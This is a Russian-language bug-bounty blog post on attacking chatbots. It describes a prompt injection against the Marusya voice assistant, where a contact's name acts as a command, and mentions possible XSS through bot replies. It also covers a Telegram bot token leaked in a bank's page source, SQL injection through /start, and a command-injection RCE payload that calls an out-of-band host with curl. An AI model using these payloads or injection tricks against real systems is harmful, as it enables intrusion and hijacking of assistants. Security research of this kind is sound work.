Как раскрутить RCE в чат-боте
https://t.me/zaheck
Чат-боты также уязвимы. Сейчас в них можно найти RCE, SQLi или даже сравнительно новую уязвимость Prompt Injection. Что это за уязвимость и как ее эксплуатировать на примере личного опыта, а также о том как я угнал токен от бота одного крупного банка - читайте в этой статье. Уникальный материал.
Хочу отметить что данная статья написана исключительно в образовательных целях, и информация описанная в ней, предназначена для использования в процессе багхантинга. Любое использование данной информации в незаконных целях обязательно повлечет определенные последствия.
Изображение сгенерировано с использованием нейросети Midjourney, представлено в оригинальном варианте (без модификаций) и на него распространяется лицензия Attribution-NonCommercial 4.0 International
Текст данного материала сгенерирован с помощью нейросети ChatGPT и представлен в оригинальном варианте (без модификаций).
Новая уязвимость
Начнем с новой уязвимости Prompt Injection, которая будет встречаться в будущем все чаще и чаще. Еще не знаете? Давайте посмотрим на примере Маруси. У меня в социальной сети ВКонтакте был друг с именем и фамилией Галя Отмена, вот что получилось в итоге. Скоро так начнут разламывать сервисы, использующие ChatGPT. В данном конкретном случае импакт не высок (запрет пользователю Маруси писать сообщения), а что если бы Маруся, скажем, умела включать утюг по команде "Включи Утюг" и вместо Галя Отмена был бы человек с фамилией и именем Включи Утюг?

Кроме того в той же Марусе в некоторых местах нет фильтрации служебных символов, поэтому если заставить бота отвечать с нужным нам Payload, то есть шансы проэксплуатировать XSS.

А сама функции отправки сообщения в ВКонтакте или на почту через голосового помощника - интересная идея для взлома и мне очень нравится.
Сами можете посмотреть и потыкать. Вообще сам этот сайт вроде бы out of scope, поэтому в финансовую награду не получится, но драгоценный опыт дороже. К тому же сама уязвимость Prompt Injection еще даже не описана в правилах багбаунти программ. Примут или нет - непонятно.
Какие еще уязвимости могут быть в чат-боте?
В рамках багбаунти я занимался взломом всевозможных чатиков и чат-ботов долгое время. Не знаю почему так получалось, но мне эта тема всегда была крайне интересна.

Вот, например, благодаря Роскомнадзору (спасибо) была найдена утечка токена от телеграмм бота в одном крупном банке. Чат-бот на сайте синхронизировал все сообщения с ботом в телеграмме. В телеграмме я отправил стикер, но он не прогружался на сайте, что привлекло мое внимание. Я решил посмотреть код страницы и увидел там токен от Telegram бота.


Другой пример - утечка фамилий сотрудников в названиях фотографий. Я просто скачивал фотографию сотрудника и получаел фамилию ;)

Ну а если перейти к теории, то можно там еще найти и описание других уязвимостей - например SQLi через /start - этому меня научили подписчики. А ведь крутой вектор и заключается он в том что вместе с get параметром start улетает строка, которая скорее всего участвует в sql запросе.

А теперь о том как же все-таки раскрутить RCE?
Ну и про RCE не стоит забывать. В моем собственном боте на основе ChatGPT подписчики нашли такую уязвимость. Заметил проблемы с кавычкой Gog Gy, а докрутил саму дыру @eeeeeeeeeeeeexeeeeeeeeeeeeeeeeee 🎉

Атака прямо через чат выглядела именно так - " & curl 413hugso92jmh6v940d8wp1s2j8aw3ks.oastify.com & "

Если посмотреть на этот скриншот, то сразу станет понятно где тут собака зарыта. Бот был написан на Python + PHP.

chatgpt.py принимает на вход аргумент в виде строки и генерирует ответ, который потом отправляется в чат, $result - это сообщение от пользователя.
Подписчики обнаружили что бот некорректно реагирует на кавычку и в итоге докрутили это всё до RCE.
Выводы
Разламывать чатботы - интересное и увлекательное занятие. Здесь далеко не все уязвимости, которые можно найти. Все как и всегда зависит от вашей креативности. Надеюсь вам понравилось читать эту статью ;)